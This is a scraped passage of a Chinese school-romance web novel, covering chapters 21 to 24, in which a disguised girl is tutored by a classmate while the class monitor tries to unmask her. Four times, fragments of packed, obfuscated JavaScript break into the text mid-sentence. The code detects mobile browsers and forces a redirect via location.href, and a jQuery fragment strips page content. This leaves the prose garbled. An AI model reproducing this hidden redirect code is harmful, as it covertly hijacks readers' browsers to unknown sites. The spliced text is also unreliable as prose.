l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132631|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛表面还是摆出羞涩的姿态:“不,你不用勉强,要是不喜欢的话……” 严菟:“没事,以后就这么叫吧,对了,还没问你叫什么名字,几班的?” “……”一时无法消化事实的沈析洛,暗自深吸了好几口气,然后才说出早就准备好的台词:“人家是C班的袁娅南。”她已经和灰毛袁娅南提前打过照面了,短期先借对方的名义一用。 “袁娅南?”严菟沉吟了一声,然后浅浅一笑,道:“嗯,囡囡(nān)。” 沈析洛:“等等,是‘南南’吧?你这读音好像很不一样……”而且你说这个两个字的时候声音不要这么自然、这么甜好不好,让我这个故意装嗲的“山寨甜”颜面何存? 被当透明的男班长:“……你们,原来现在才认识的呀?” “胡说!”沈析洛立马反驳,然后又“娇羞”地缩到严菟身侧:“我们昨天就认识啦,而且还是一见如故的那种关系,是不是吼,菟菟?” 严菟眼眸微含笑意:“是啊,囡囡。” “……”沈析洛:为啥对方的适应能力如此之强,果然因为是大佬吗?? “……”男班长噎了噎,只能无奈劝说道:“严菟你小心点,这个人很奇怪,遮遮掩掩的,我想你也没看过她的全脸吧?” “为什么要看脸,我家菟菟才不是那种会看外表的人,哪像你这只坏鸡鸡!!”沈析洛暗中怒瞪跟前这个坏事的男班长。如果严菟执意要看她的脸,那她真的就没办法了…… 但还是作垂死挣扎地转过头来,反拉起严菟的手,试图解释:“菟菟,其实人家鼻子和下巴长了恶性发肿发炎青春痘,很恐怖的,得好几个星期才能治好,呜呼呼,所以我没脸见人了,菟菟呀,你真的忍心揭开我伤疤吗?” 严菟顺意点了下头:“嗯,不忍心,好了别难过,你今天来找我还是为了?” 沈析洛握起双拳,接话道:“没错,为了和你一起好好学习,天天向上!” “好,那我们进去吧。”严菟又回过身去对班长打招呼,“班长,她……” 刚才“坏鸡鸡”这三个字,早已让生理极度不适的直男班长当场退避三舍,退步三米,他一摆手:“行吧,你们爱干嘛干嘛去,你让这个蘑菇头以后不要和我说话,更不要靠近我两米范围内!” 沈析洛背向严菟,对着班长,目光很凶,声音很甜:“班长大大,你真好!” 男班长一惊,果断转身临阵脱逃—— 你、你这个人前人后两副面孔的虚伪女生给我等着瞧,我这几天一定要在严菟面前亲自揭穿你的真面目! 22. 第22章 放学后的A班教室,还逗留着三分之一的学生,他们分布零散,有的独自一人占两个位,有的几个人凑成一圈低声探讨问题。 沈析洛和严菟面对面坐在最角落边靠窗的位置。 沈析洛把学习用书摆上桌面,精神抖擞道:“我们开始吧,菟菟!” 严菟:“好的,囡囡。” 沈析洛:“……”虽然先撩者贱,但现在反而自己变得有些适应不过来…… 六分钟后。 严菟用笔圈出草稿纸上的中间步骤,道:“囡囡看这里,这个地方是重点,根据已知条件……” “等一下。”沈析洛终于按捺不住地打断了对方,她握住对方执笔的手,一脸庄重道:“菟唔……不对,是严菟同学,那个啥,我觉得学习就要有个学习的样子,所以要不,咱们还是先正常点说话吧,我就不叫你菟菟了,你也别喊我什么七乱八糟的囡囡了,好不好?” 严菟顿了顿手,低头唇角一翘,语气却无辜道:“怎么了,你不喜欢吗?” “嗨呀……”沈析洛眼睛一转,双掌一拍,赶紧瞎吹起来:“喜欢啊,我可喜欢了,对这个爱称喜欢得不得了,特别是搭配上你这温柔得能掐出水来的声音,简直听得我是春心荡漾久久无法平息,久久回响在耳边,久久无法集中精神——” 接着脸色一正:“害我注意力不集中,你这是在干扰我学习你知道么?” “哦。”低着头的严菟应了一声,然后终于忍不住似的,轻笑出来:“呵……” “笑毛呀,我可是说真的。”沈析洛不满地伸过手去,用食指去按起对方的额头。 对方只能顺势仰起来脸来,瞬间露出一双弯着眼角晶莹含笑的琥珀色眼眸,夺人风采。 此时的严菟以手捂唇:“呵呵……” 沈析洛蓦地一愣,不知为何,胸口的心脏怦然加快。 仔细一想,她之前好像几乎不曾见到过对方发自内心的笑容,就算有笑,也不会是在“沈析洛”的面前笑。 她像触电般猛地收回手,移开视线,又过了三秒,陡然醒悟什么似的指着对方:“嚯,你明知道我听着别扭,还故意这么喊,你从刚才就一直在耍我是不是?!”这只小白兔居然开始学坏了? “是你先耍人的,我只是在学你。”严菟拿下她的手:“你本来就不是那种性格黏糊的人,所以不喜欢就不要勉强自己,做你自己就好。好吧,不玩了,来认真看题。” 沈析洛含糊地嘟哝了一句:“也不是不喜欢啦……” “什么?” “没有。”沈析洛不再多言,垂首听对方讲题。 窗外的几束斜阳投射在教室,微尘浮游在光束中,四周是学生的细语呢喃和书页的翻动声,各自沉浸题海。 置身其中的沈析洛,瞬间有种岁月静好的感觉。 她陷入恍惚地想:像现在这样多好,不用回想过往,不用考虑未来,只是单纯地享受着眼前的时光,珍惜当下的一切,足以。 脑门突然被人轻轻弹了一下,沈析洛立刻捂着前额,瞪向对面:“卧槽,你敢弹我……” 严菟抬眸:“不要走神。” “……”沈析洛鼓了鼓脸颊,不敢反驳,把注意力放回对方身上。 其实严菟认真起来的样子是非常严肃的,刚才打闹归打闹,等她真正投入到某件事中时,就会自动屏蔽周围,隔开外界的纷杂扰乱,用自己的方式把你带进她那一丝不苟的世界里,让你不可抗力地跟着她的思路走,又能根据你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132632|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的个人条件和特征给你开辟出一条新的思路来…… 沈析洛正是在昨天被辅导的过程中发现了对方这犹如宝藏般的优点,所以今天才会继续厚脸皮地贴上来。 许是沈析洛天生就专心不了半小时,她再度目光游移,这次竟开始打量起严菟近在咫尺的侧颜。 对方的轮廓精致分明,嘴唇水润粉淡,鼻梁俏挺,睫毛密长…… 沈析洛瞧着瞧着,就魔怔了,她莫名地伸出食指去,在对方好看的鼻梁上轻触了一下。 鼻子上如羽毛划过的触感让严菟下意识地微微往后倾,她不解地问:“你干嘛?” “……”不知道自己在干嘛的沈析洛一滞,然后非常认真地答道:“你鼻子油油的,我在帮你擦呢。”其实并不是。 “……”严菟摸了摸自己的鼻子,“没有吧?” 沈析洛:“被我擦掉了。” 严菟:“……” *** 之后的几日,沈析洛每天放学做好一身伪装后,都会准时地跑去A班找严菟报到。 沈析洛问过严菟,按照这样的学习进度,能不能在下周六的小考拿个及格。 严菟问她,平时最高分拿过多少? 沈析洛回,十一分,不能再高了。 严菟沉默了,委婉地另作答复,到了期末考,应该能摸到及格线。 沈析洛表示那也还不错,很让人满意。 整个辅导过程似乎意外地很是顺利,严菟除了在学习上拷问她一些学过的题目外,从不好奇和主动询问过她的个人私事,以至于她完全不再担心自己会不小心露出马脚。 倒是那个男班长,就过分了,每天离校前,都会换着法子地试图想去揭开沈析洛的口罩…… 23. 第23章 再过两个星期,苑承中学便要举办一年一度以“公益”为主题的游园会活动,活动由该校的学生会干部们自行组建。 活动已进入筹备阶段,作为纪律部部长的严菟正借着上课时间,在寥无几人的操场上随意走动巡望,规划着活动时各个班级能使用的摊位场地。 唐钰芯则跟随在严菟的身后,拿着本子和笔做登记。她是上次那个在班里说沈析洛是小学生的丸子头女生。 此时两人一边走一边聊着其他事情。 唐钰芯不解地问:“……我就纳闷了,你这么厉害的人,怎么可能会被人堵在厕所和巷子?要不是上次听别人说亲眼见到过,我都不敢相信那个人是你了……” 严菟踢开草坪上的小石子,简单地回了一句:“有人在盯着我。” 唐钰芯一顿,小心翼翼地猜测:“是你哥那边的人?” 严菟没说是或不是,只漫不经心地道:“他不是我哥。” “你舅舅的儿子也是你哥呀,虽然他只比你大一个月。”唐钰芯知道对方不愿提到外家的人,于是适可而止地打住话题,又径自猜测:“那不然是魏氏那边的人?” “也许吧。”严菟的回答模棱两可。 唐钰芯嘟了嘟嘴,观察对方的神色:“不可能是沈氏吧?他们家的女人就只会耍些不上台面的伎俩,特别是那个草包沈析洛,都敢明面跑上来打你脸了,瞧这急着找死的行为,没脑到这种程度我也是服了,如果说她还能在暗地里搞动作,那就真让人大开眼界了……” 严菟一口否决:“不是沈析洛。” “……呵?”唐钰芯突然笑出了声,“前面两个你斟酌不定,怎么一说到沈析洛,你就这么确定了?她整天挑事找你麻烦,你还不讨厌她吗?” “我确定不是她。”严菟看了对方一眼,“这跟讨厌和喜欢有什么关系吗?” “嗯……那倒没有。”唐钰芯讪然地吐舌,继续追问:“所以说到底是谁在监视你?” 严菟若有所思:“暂时还没找出来。” “哎,如果揪不出来,你不是得一直扮演被欺负的小可怜?打骂不能还手,这憋屈的。”唐钰芯啧啧不平:“我就搞不懂你为什么要死磕在沈家,比起魏氏这头大鲨,沈氏就是一条小虾米,等以后扳倒了魏氏,沈氏必然也会被连根拔起,你到沈家也收集不了什么东西,何必去受这种委屈呢?要不还是来我家吧,嘿嘿……” “个人恩怨。”严菟驻足,指着眼前的塑胶跑道,例行差事道:“注意这里,到时候别让班级的摊位过界挤占到跑道上。” 听到“恩怨”二字,唐钰芯单手捂着嘴,忽然想起严菟妈妈的死……她赶紧低头记下注意事项,同时不忘扯开话题:“对了,最近那个古怪的蘑菇头放学老是来找你,用不用我找人处理掉她?” “不用。”严菟顿了顿,“以后我的事你不要插手,做好你自己本分就行了。” “是是是,我只是觉得那个蘑菇头占用你太多时间了……” 两人走出操场,严菟主动问起:“魏家的小少爷最近有什么行动?” 唐钰芯如实禀报:“那可厉害了,听说他正在积极努力学习充实自我,还不忘拉拢利诱学生会的各部成员,妄想跟你竞争下一届的会长之位!” 严菟温柔一笑:“就点出息,也想当魏氏未来的掌舵人?” “……”唐钰芯噤声,不敢接话。 *** 且说A班男班长,自从第二天被蘑菇头的一句“坏鸡鸡”呛得留下阴影后,便在每天放学时间寻机着报仇,至少要去揭下她那见不得人的真面目! 第一回合。 蘑菇头和严菟相对而坐在学习。 男班长找个理由临时支走严菟,接着猫腰从教室后门偷偷进去,蹲停在严菟的位置,又在心中默念了三声后,突然冒起来,伸手袭向蘑菇头女生的脸,想趁其不备去扯她的口罩:“看招!!” 而运动神经超发达的沈析洛立马反应过来,敏捷地躲开了对方的偷袭,同时抄起课本,大喝一声:“有苍蝇!!”然后直直朝着男班长的脸上猛拍而去—— 男班长当即发出“嗷”的一声痛叫。 还没等四周的同学围过来,沈析洛赶紧故作惊慌地上前去关心和道歉:“哎哟,怎么是你呀,我正在拍苍蝇呢,你就突然出现了,我没看到就拍下去,真是对不起哦……不过我一个小女生力气小,应该没打到你脑震荡吧?” “……”脑子嗡嗡作响的男班长一时说不上话,他连连后退几步,伸手拒绝蘑菇头朝自己靠近,然后稳住脚步,吸了吸鼻子,取下脸上碎成蜘蛛网的眼镜,转身默默走开。 其他同学见自班班长没追究或责骂女生,以为无事,便没再凑上去。 第二回合。 蘑菇头又来A班找严菟了,两人刚坐下,背着书包的男班长握住两支巧克力冰淇淋走来她们跟前。 他先把一支冰淇淋递给严菟,等对方收下后,他再对向蘑菇头,诚恳道:“对不起,昨天那样吓你,是我不好,请你吃个冰淇淋,希望你能原谅我。” 沈析洛摇手:“没事,我还打坏你的眼镜呢,大家扯平。” 男班长:“那你吃呀,特地给你买的,别浪费。” 沈析洛:“你心意我领了,还是让给其他同学吧……” 男班长让开身,手一挥:“你看,他们都在吃了。” 只见教室里果然每个人正一手捧书,一手啃着一根冰淇淋。可想男班长这次是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132633|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了血本! 沈析洛:“……”这特么也叫特地给我买的?? 男班长:“你就接受我这小小的心意吧,不然以后大家在A班见面就尴尬了。” 沈析洛听完只觉得牙痒痒,对方特意提起“A班”,摆明就是在威胁她这个外班同学。她一脸惋惜:“可惜,我不喜欢吃巧克力味的冰淇淋,你还是自己吃吧。” 男班长一脸犯愁:“那、那你喜欢什么口味的?” “嗬。”沈析洛狡黠一笑,“榴莲味的。” “哦。”男班长拉开大大的书包拉链,从一堆的冰冻甜品里翻出一支榴莲味的冰棍递过去:“正好有这个味的。” 沈析洛看傻了眼:“…………”你特么要不要这么搞?? 男班长眼眸精光一闪,“这下不会拒绝我了吧,快吃呀,不吃就溶了。” 沈析洛只好接过冰棍:“行,我去别的地方吃……” 男班长按下她的肩膀:“不就是吃个小零食,有什么见不得人的吗?总是避讳这避讳那的,你这是不把我们A班当成一个温馨、和睦、能容纳外班同学的小家庭!” “……”不就是为了让她当场吃个冰棍,至于上升到这种高度么?? 严菟在一旁淡然地咬着冰淇淋。 沈析洛点头接受道:“好吧,吃就吃。”然后开始拆开包装纸。 男班长眼中的精光登时暴闪,就等着对方从下掀起口罩的那一刻,他立马蹲下身来一睹对方的真面目!! 这个想法似乎成为了他的执念,只想达到目的揭开对方的口罩,至于最初的理由已经不再重要了。 沈析洛手一顿,把冰棍递给男班长:“你先帮我拿一下。” “好。”男班长看她还想耍什么花招,他一定能见招拆招。 果然,沈析洛从自己书包里掏出一把小剪刀,在自己脸上的一次性口罩的中间位置,横着剪开一道小口子。 口子的大小刚好只够露出嘴巴部位,沈析洛完事还调皮地对着严菟撅起双唇“啵、啵”了几下。 惹得严菟低头闷声笑了起来。 一旁发懵的男班长就这样眼睁睁地看着沈析洛从他手里拿回冰棍,津津有味地吃了起来。 计划瞬间泡汤的男班长一脸不敢置信:“你你、你有病啊!!” “对啊,就是有病啊,不然干嘛戴着口罩。”沈析洛得意对他吐舌头,“略略略——” 坐在对面的严菟看到她那鲜红的小舌头,当即拧起眉,伸过手去捂住她的嘴,“别做这种小孩子的动作。” “哦。”沈析洛只好住嘴,认真吃起冰棍。 “你你你……”半天也“你”不出个所以然的男班长,最后重重地哼了一声,转身走人。 24. 第24章 A班男班长想要揭开蘑菇头女生的口罩之第三回合。 有了前面两次软硬兼施的失败经历,男班长这才后知后觉地醒悟过来自己一定是受了蘑菇头女生的降智诅咒,才会不小心被蒙蔽了智商! 作为明晃晃的同校同学,他干嘛非得等放学时候在自己班里守株逮人,他完全可以主动去找人家的所在班级呀! 凭借自身灵敏的听觉和过耳不忘的本领,当时在一旁被当透明的男班长听到蘑菇头女生是这么介绍自己的——“人家是C班的袁娅南。” 于是趁着上午课间休息时间,A班男班长纡尊降贵来到一年C班教室门口,他先偷偷摸摸地在窗边来回徘徊好几圈,确定找不到和蘑菇头外形相似的女生,这才把C班的班长喊到出来。 男班长谨慎地问:“你们班是不是有个叫袁娅南的女生?” C班班长点头:“有啊,怎么了?” 男班长一喜:“在哪?” “嗯……”C班班长有些迟疑:“你找她干什么?” 细心的男班长发现对方神色中有几分忌惮,遂皱眉问:“你很怕她吗?” “是啊,是挺怕的。”C班班长小声承认:“毕竟,她可是咱们学校的不良混混。” 男班长瞠目,果然如此,难怪总是东遮西掩的不敢见人!他急切问:“她现在有在班里吗?” “在的。” “是哪一个?” 两人站在走廊窗口,C班班长朝教室里一指:“倒数第二排,趴着睡觉的那个灰色短发,看见了没?” 居然灰色头发?男班长沉思了起来:“她就是袁娅南,你确定?会不会是重名?” “二三年级的我不清楚,但一年级的话,只有一个袁娅南,在我们C班。” 男班长推敲蘑菇头向严菟请教的内容和一年级课程同步,顺便排除外校的可能,眼前这个更贴近真相了。他点点头:“好,很好。”不仅戴口罩,连蘑菇头都是假的,这次看你还能往哪躲! 男班长转身要走。 C班班长问道:“你不去找她吗?” 男班长拍拍对方的肩头:“不了,谢谢,请麻烦帮我保密,不要告诉别人我问起过她。”他要在今天放学,当着严菟的面亲自揭穿蘑菇头的不良身份,好让严菟知道这个“蘑菇头”是怎么耍人的! C班班长:“好吧……” *** 终于,等到了下午放学时刻。 靠在走廊栏杆的男班长从二楼往下望,果然远远地便瞧见了如期出现的“蘑菇头”身影。 男班长的内心:她来了她来了,她背着挎包走来了! 走在路上的沈析洛忽然脚步一顿,感觉有杀气!她左右观望,然后抬起头,正好对上了那男班长的灼热视线,只见对方扬嘴一笑,似乎十分期待她的到来…… “……”沈析洛不由地打了个寒颤,瞬间想起昨天被冰棍支配的恐惧,当时男班长走后留下一书包的冰棍雪糕分给大家,害她忍不住又多吃了三个,结果回家当晚整个人腻到吃不下晚饭和夜宵,并发誓这几月再也不碰这种东西! 以致她不得不感慨:不愧是奸猾狡诈的男班长,好深远的计谋! 沈析洛收回目光,泰然地走上楼,走进A班。兵来将挡水来土掩,她才不怕这个小鸡崽子! 她刚在严菟对面坐下,还没打开书包,男班长便踱步走来,站在她们跟前…… 正确点说应该是,男班长站在严菟身侧,伸手拦在她跟前,然后眼神戒备地看着对面的蘑菇头,冷不防问身侧的人道:“严菟,你应该记得学校那几个总是欺负你的不良女生吧?” 沈析洛眼皮一跳:这个人该不会是发现了些什么吧…… 严菟态度淡然:“嗯?” “对,你不要再被她骗了!”男班长亢奋地陡然指向蘑菇头,“你看她一直不敢以真面目示人,其实她就是其中的一个不良混混,她的头发是假的!!” 沈析洛一惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132634|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“!!!”卧槽,居然真的被发现?? “……”严菟道:“班长,你是不是误会什么了?” “没有误会!”男班长咄咄逼人,“不信你让她把假发摘下来——她原本的头发是灰色的!!” 对方话语间激昂的转折,让紧张得提着一口气的沈析洛,瞬间松了口气:吁,还好她帅气的紫发没被发现,等今天蒙混过关后,她就可以把这个锅甩给灰毛了…… 严菟正寻思着说点什么。 戏精附身的沈析洛陡然从鼻腔里喷出几声抽搭:“呜呼呼,你怎么可以这样污蔑人家?” 男班长正言厉色:“我哪里污蔑你了,你休想再混淆视听,我就问你一句,你敢不敢让我动你的头发,敢不敢?!” 班里的其他同学开始往这边侧目。 “不敢,我不敢!”沈析洛一口拒绝,“你为什么一定要动我头发,你为什么一定在大家面前揭穿我,其实我、其实我,呜呼呼……” 男班长不为所动地看着她。 沈析洛抱头,干嚎起来:“其实我是个瘌痢头,你一定要这样当众羞辱我吗??” 男班长:“……” “……”严菟适当地说了一句:“真可怜。” 周围不明真相的同学小声议论了起来:“班长这次好像过分了……” “对呀,万一人家真有隐疾,班长这可是在当面揭人家伤疤呀……” “就是就是,而且还是个女生,班长太没风度了!” …… 转瞬受众人指责的男班长恼怒地握起拳头,为了以示清白,他豁出去地大声道:“谁知道你是不是骗人的!总之你一定要摘,如果你是灰发,就证明我没有污蔑你,你必须接受处罚;但如果你真的是瘌痢头,那我、我就对你负责任,等到了法定婚龄,我就娶你!” 未等众人错愕,两道声音同时响起—— 沈析洛:“你想得倒美!” 严菟:“不行。”